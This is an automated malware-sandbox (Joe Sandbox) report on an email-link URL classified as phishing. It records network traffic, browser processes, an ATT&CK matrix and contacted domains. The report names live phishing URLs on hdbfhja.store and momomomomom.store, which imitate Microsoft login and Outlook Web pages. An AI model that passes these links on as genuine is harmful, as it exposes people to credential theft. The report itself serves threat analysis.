Source: unknown

HTTP traffic detected: POST /cdn-cgi/challenge-platform/h/b/flow/ov1/552112303:1715102812:0WLYJpz4kjQWCDwNrhO3CJZT6Jwalov-zv6_7Jei_L8/880344ec3fbf41d8/8e6ada03ae78a62 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Content-Length: 2921 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Content-type: application/x-www-form-urlencoded sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 CF-Challenge: 8e6ada03ae78a62 sec-ch-ua-platform: "Windows" Accept: */* Origin: https://challenges.cloudflare.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/152rs/0x4AAAAAAAZkgmLQjbC4655I/auto/normal Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not Found Date: Tue, 07 May 2024 18:28:08 GMT Server: Apache Content-Length: 315 Connection: close Content-Type: text/html; charset=iso-8859-1
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not Found Cache-Control: private Set-Cookie: x-ms-gateway-slice=estsfd; path=/; secure; samesite=none; httponly Strict-Transport-Security: max-age=31536000; includeSubDomains P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" x-ms-request-id: dd654f96-d69d-4538-b102-60e77712b100 x-ms-ests-server: 2.1.17968.10 - WEULR1 ProdSlices nel: {"report_to":"network-errors","max_age":86400,"success_fraction":0.001,"failure_fraction":1.0} x-ms-srs: 1.P Referrer-Policy: strict-origin-when-cross-origin Date: Tue, 07 May 2024 18:28:41 GMT Connection: close Content-Length: 0 Content-Security-Policy: default-src * data: blob: filesystem: about: ws: wss: 'unsafe-inline' 'unsafe-eval'; form-action * data: blob: 'unsafe-inline' 'unsafe-eval'; script-src * data: blob: 'unsafe-inline' 'unsafe-eval'; connect-src * data: blob: 'unsafe-inline'; img-src * data: blob: 'unsafe-inline'; frame-src * data: blob: filesystem: ; frame-ancestors 'self' * http://* https://* file://* about: javascript: data: blob: filesystem: ; object-src * data: blob: filesystem: 'unsafe-inline' 'unsafe-eval'; style-src * data: blob: 'unsafe-inline'; font-src * data: blob: 'unsafe-inline';

Source: chromecache_134.2.dr	String found in binary or memory: http://github.com/jquery/globalize
Source: chromecache_131.2.dr, chromecache_129.2.dr	String found in binary or memory: http://knockoutjs.com/
Source: chromecache_131.2.dr	String found in binary or memory: http://www.json.org/json2.js
Source: chromecache_131.2.dr, chromecache_129.2.dr	String found in binary or memory: http://www.opensource.org/licenses/mit-license.php)
Source: chromecache_129.2.dr	String found in binary or memory: https://github.com/douglascrockford/JSON-js
Source: chromecache_131.2.dr	String found in binary or memory: https://js.monitor.azure.com/scripts/c/ms.analytics-web-2.min.js
Source: chromecache_89.2.dr	String found in binary or memory: https://login.microsoftonline.com
Source: chromecache_89.2.dr	String found in binary or memory: https://login.windows-ppe.net

Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 49672 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49781 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49699
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49793 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 49774 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49782 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49677 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49808 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 49699 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49807 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49810 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49811
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49810
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49671 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49802 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49809
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49808
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49807
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49806
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49805
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49804
Source: unknown	Network traffic detected: HTTP traffic on port 49773 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49803
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49802
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 49783 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49809 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 49761 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 49792 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745

Source: unknown	HTTPS traffic detected: 69.192.108.161:443 -> 192.168.2.7:49715 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 69.192.108.161:443 -> 192.168.2.7:49720 version: TLS 1.2

Source: classification engine

Classification label: mal68.phis.win@24/96@31/11

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2280 --field-trial-handle=2224,i,90469687096284850,7662739354116214109,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://url.us.m.mimecastprotect.com/s/rdl8Cn5lg3fXAy8f9CFLb?domain=url2.mailanyone.net"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2280 --field-trial-handle=2224,i,90469687096284850,7662739354116214109,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	1 Drive-by Compromise	Windows Management Instrumentation	Path Interception	1 Process Injection	1 Process Injection	OS Credential Dumping	System Service Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Rootkit	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	4 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	5 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	3 Ingress Tool Transfer	Traffic Duplication	Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
https://url.us.m.mimecastprotect.com/s/rdl8Cn5lg3fXAy8f9CFLb?domain=url2.mailanyone.net	0%	Avira URL Cloud	safe

Source	Detection	Scanner	Label
https://momomomomom.store/	0%	Avira URL Cloud	safe
https://momomomomom.store/?dataXX0=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1cmwiOiJodHRwczovL21vbW9tb21vbW9tLnN0b3JlIiwiZG9tYWluIjoibW9tb21vbW9tb20uc3RvcmUiLCJrZXkiOiJBeGFlS1RoV3VyTlIiLCJxcmMiOm51bGwsImlhdCI6MTcxNTEwNjUxNiwiZXhwIjoxNzE1MTA2NjM2fQ.ceVGlhXj_iYg_uPWBJTwQGIVTbysS8xc5bwc6ts3pNk	0%	Avira URL Cloud	safe
https://momomomomom.store/aadcdn.msftauth.net/~/shared/1.0/content/js/BssoInterrupt_Core_Ggyc2EJnCaHFrI6xkBPLcg2.js	0%	Avira URL Cloud	safe
https://momomomomom.store/favicon.ico	0%	Avira URL Cloud	safe
https://momomomomom.store/owa/	0%	Avira URL Cloud	safe
https://hdbfhja.store/?xeuxuwcg&qrcmsdynmkt_trackingcontext=0c22f116-19a8-4f13-8c53-7a400f51b865	0%	Avira URL Cloud	safe
https://hdbfhja.store/favicon.ico	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
bg.microsoft.map.fastly.net	199.232.210.172	true	false	unknown
url.us.m.mimecastprotect.com	207.211.31.106	true	false	unknown
cs1100.wpc.omegacdn.net	152.199.4.44	true	false	unknown
greefrunners.co.za	102.130.123.81	true	false	high
part-0008.t-0009.t-msedge.net	13.107.213.36	true	false	unknown
challenges.cloudflare.com	104.17.2.184	true	false	high
www.google.com	142.250.65.196	true	false	high
prdia888eus0aks.mkt.dynamics.com	52.146.76.30	true	false	high
MNZ-efz.ms-acdc.office.com	52.96.109.242	true	false	high
hdbfhja.store	5.230.47.86	true	false	unknown
fp2e7a.wpc.phicdn.net	192.229.211.108	true	false	unknown
momomomomom.store	5.230.47.86	true	false	unknown
public-usa.mkt.dynamics.com	unknown	unknown	false	high
url2.mailanyone.net	unknown	unknown	false	high
r4.res.office365.com	unknown	unknown	false	high
aadcdn.msftauth.net	unknown	unknown	false	unknown
time.windows.com	unknown	unknown	false	high
outlook.office365.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://hdbfhja.store/favicon.ico	false	Avira URL Cloud: safe	unknown
https://momomomomom.store/?dataXX0=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1cmwiOiJodHRwczovL21vbW9tb21vbW9tLnN0b3JlIiwiZG9tYWluIjoibW9tb21vbW9tb20uc3RvcmUiLCJrZXkiOiJBeGFlS1RoV3VyTlIiLCJxcmMiOm51bGwsImlhdCI6MTcxNTEwNjUxNiwiZXhwIjoxNzE1MTA2NjM2fQ.ceVGlhXj_iYg_uPWBJTwQGIVTbysS8xc5bwc6ts3pNk	false	Avira URL Cloud: safe	unknown
https://greefrunners.co.za/favicon.ico	false		high
https://outlook.office365.com/owa/prefetch.aspx	false		high
https://greefrunners.co.za/	false		high
https://momomomomom.store/owa/	false	Avira URL Cloud: safe	unknown
https://public-usa.mkt.dynamics.com/api/orgs/6a41e90b-d409-ef11-9f83-6045bd003e15/r/FvEiDKgZE0-MU3pAD1G4ZQEAAAA?target=%7B%22TargetUrl%22%3A%22https%253A%252F%252Fgreefrunners.co.za%252F%22%2C%22RedirectOptions%22%3A%7B%225%22%3Anull%2C%221%22%3Anull%7D%7D&digest=8tFUOLbq88kJ1qWVPQO24Iw0VllK%2Bt5cof7eRnCG1Bk%3D&secretVersion=a587597bbd2d4ba3bb4334f6d8be15ee	false		high
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/i/880344ec3fbf41d8/1715106502152/7FgzsFrfQMeoixt	false		high
https://challenges.cloudflare.com/turnstile/v0/api.js?onload=onloadTurnstileCallback	false		high
https://hdbfhja.store/?xeuxuwcg&qrcmsdynmkt_trackingcontext=0c22f116-19a8-4f13-8c53-7a400f51b865	false	Avira URL Cloud: safe	unknown
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/152rs/0x4AAAAAAAZkgmLQjbC4655I/auto/normal	false		high
https://momomomomom.store/favicon.ico	false	Avira URL Cloud: safe	unknown
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/pat/880344ec3fbf41d8/1715106502159/5478e54719796e628e00f9103b75ee745dd1ac6c513ec21998e22a11acafd7d9/mrcqUDW-rtofgAH	false		high
https://momomomomom.store/	false	Avira URL Cloud: safe	unknown
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/flow/ov1/552112303:1715102812:0WLYJpz4kjQWCDwNrhO3CJZT6Jwalov-zv6_7Jei_L8/880344ec3fbf41d8/8e6ada03ae78a62	false		high
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/cmg/1/wh0E0SXYnx6pTBdJW%2Fl926I%2BPRUplRdtQz3K9lHXs%2Fs%3D	false		high
https://challenges.cloudflare.com/turnstile/v0/b/ce7818f50e39/api.js	false		high
https://url.us.m.mimecastprotect.com/s/rdl8Cn5lg3fXAy8f9CFLb?domain=url2.mailanyone.net	false		unknown
https://greefrunners.co.za/#msdynmkt_trackingcontext=0c22f116-19a8-4f13-8c53-7a400f51b865	false		high
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/orchestrate/chl_api/v1?ray=880344ec3fbf41d8	false		high
https://momomomomom.store/aadcdn.msftauth.net/~/shared/1.0/content/js/BssoInterrupt_Core_Ggyc2EJnCaHFrI6xkBPLcg2.js	false	Avira URL Cloud: safe	unknown
https://url2.mailanyone.net/scanner?m=1s3cWM-0007Zq-3j&d=4%7Cmail%2F90%2F1714917600%2F1s3cWM-0007Zq-3j%7Cin2c%7C57e1b682%7C28613012%7C14303582%7C663792961556323F60CA7719E24FBD2A&o=%2Fphtu%3A%2Fptsacblmus.i-mdktcnai.ypos.%2F%2Faicm4sore6a1g%2F9-90e40-bd3-f16f8-193b04100e5di%2F5%2FKvEDrF30gZAMUpE-A4D1AQEAGZtaA%3F%25ge%3Dtrr27BeTag%252%25ltUA223r%25sh%2522tp%252tF%2553252%25A2fg52ueerFrornnz.c.es25a%25%25F%25222d22CrRei%252oOecstintp7%25%252%25A%25B233%2522n2%25A522%25ul1C%252l2u%25%252lAnl23d%25%257gD%26iD7U%3DesLtFOt8q8bqVJ1W8k02PQlIwVO4c2lKft5o%25BBn7e%25G1kRCes3DVcrt%26eaier8n%3D5so27754bdd9b3bbaf4343bee51eb8d6&s=WdYCVSQ9Sc0_DEjTfgsDBAJMLLE	false		high
https://hdbfhja.store/?xeuxuwcg=557878b1416645a740a9119a6f4ae2274233f6c9186bcefac0510f6e30102bc3eae40bcec311e10ba4bf76faa9c8ab9761ac44829bccbe1c2f1f9dbd9ec6e43f&qrcmsdynmkt_trackingcontext=0c22f116-19a8-4f13-8c53-7a400f51b865	false		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
http://github.com/jquery/globalize	chromecache_134.2.dr	false	high
http://knockoutjs.com/	chromecache_131.2.dr, chromecache_129.2.dr	false	high
https://github.com/douglascrockford/JSON-js	chromecache_129.2.dr	false	high
https://login.windows-ppe.net	chromecache_89.2.dr	false	high
https://js.monitor.azure.com/scripts/c/ms.analytics-web-2.min.js	chromecache_131.2.dr	false	high
http://www.json.org/json2.js	chromecache_131.2.dr	false	high
https://login.microsoftonline.com	chromecache_89.2.dr	false	high
http://www.opensource.org/licenses/mit-license.php)	chromecache_131.2.dr, chromecache_129.2.dr	false	high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
52.96.109.242	MNZ-efz.ms-acdc.office.com	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
142.250.65.196	www.google.com	United States	15169	GOOGLEUS	false
207.211.31.106	url.us.m.mimecastprotect.com	United States	14135	NAVISITE-EAST-2US	false
52.146.76.30	prdia888eus0aks.mkt.dynamics.com	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
104.17.3.184	unknown	United States	13335	CLOUDFLARENETUS	false
13.107.213.36	part-0008.t-0009.t-msedge.net	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
5.230.47.86	hdbfhja.store	Germany	12586	ASGHOSTNETDE	false
102.130.123.81	greefrunners.co.za	South Africa	37153	xneeloZA	false
104.17.2.184	challenges.cloudflare.com	United States	13335	CLOUDFLARENETUS	false

Private

IP
192.168.2.7

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1437708
Start date and time:	2024-05-07 20:27:04 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 15s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	browseurl.jbs
Sample URL:	https://url.us.m.mimecastprotect.com/s/rdl8Cn5lg3fXAy8f9CFLb?domain=url2.mailanyone.net
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	18
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal68.phis.win@24/96@31/11
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, SIHClient.exe, SgrmBroker.exe, MoUsoCoreWorker.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 142.250.80.35, 142.251.40.238, 172.253.62.84, 34.104.35.123, 104.18.10.14, 104.18.11.14, 168.61.215.74, 40.68.123.157, 199.232.214.172, 199.232.210.172, 192.229.211.108, 20.242.39.171, 20.166.126.56, 20.190.152.21, 40.126.24.146, 40.126.24.84, 40.126.24.81, 40.126.24.149, 40.126.24.148, 40.126.24.83, 40.126.24.147, 23.206.172.159, 23.206.172.133, 23.206.172.143, 23.206.172.138, 23.206.172.157, 23.206.172.162, 23.206.172.163, 23.206.172.132, 142.251.40.138, 142.250.80.74, 142.250.176.202, 142.251.40.202, 142.251.40.234, 142.251.40.106, 142.250.65.170, 142.250.80.106, 142.250.65.202, 142.250.80.42, 142.251.41.10, 142.251.32.106, 142.251.40.170, 142.250.81.234, 142.251.35.170, 142.250.65.234, 142.251.40.195, 142.251.41.14
Excluded domains from analysis (whitelisted): slscr.update.microsoft.com, twc.trafficmanager.net, clientservices.googleapis.com, cxppusa1im4t7x7z5iubq.trafficmanager.net, clients2.google.com, ocsp.digicert.com, login.live.com, ocsp.edge.digicert.com, glb.cws.prod.dcat.dsp.trafficmanager.net, sls.update.microsoft.com, update.googleapis.com, wu-b-net.trafficmanager.net, glb.sls.prod.dcat.dsp.trafficmanager.net, url2.mailanyone.net.cdn.cloudflare.net, clients1.google.com, e40491.dscg.akamaiedge.net, prdv4a.aadg.msidentity.com, fs.microsoft.com, accounts.google.com, content-autofill.googleapis.com, ctldl.windowsupdate.com.delivery.microsoft.com, aadcdnoriginwus2.azureedge.net, www.tm.v4.a.prd.aadg.trafficmanager.net, ctldl.windowsupdate.com, aadcdn.msauth.net, firstparty-azurefd-prod.trafficmanager.net, login.msa.msidentity.com, fe3cr.delivery.mp.microsoft.com, fe3.delivery.mp.microsoft.com, edgedl.me.gvt1.com, aadcdnoriginwus2.afd.azureedge.net, clients.l.google.com, r4.res.office365.com.edgekey.net, www.tm.lg.p
HTTPS proxy raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtSetInformationFile calls found.
VT rate limit hit for: https://url.us.m.mimecastprotect.com/s/rdl8Cn5lg3fXAy8f9CFLb?domain=url2.mailanyone.net

Input	Output
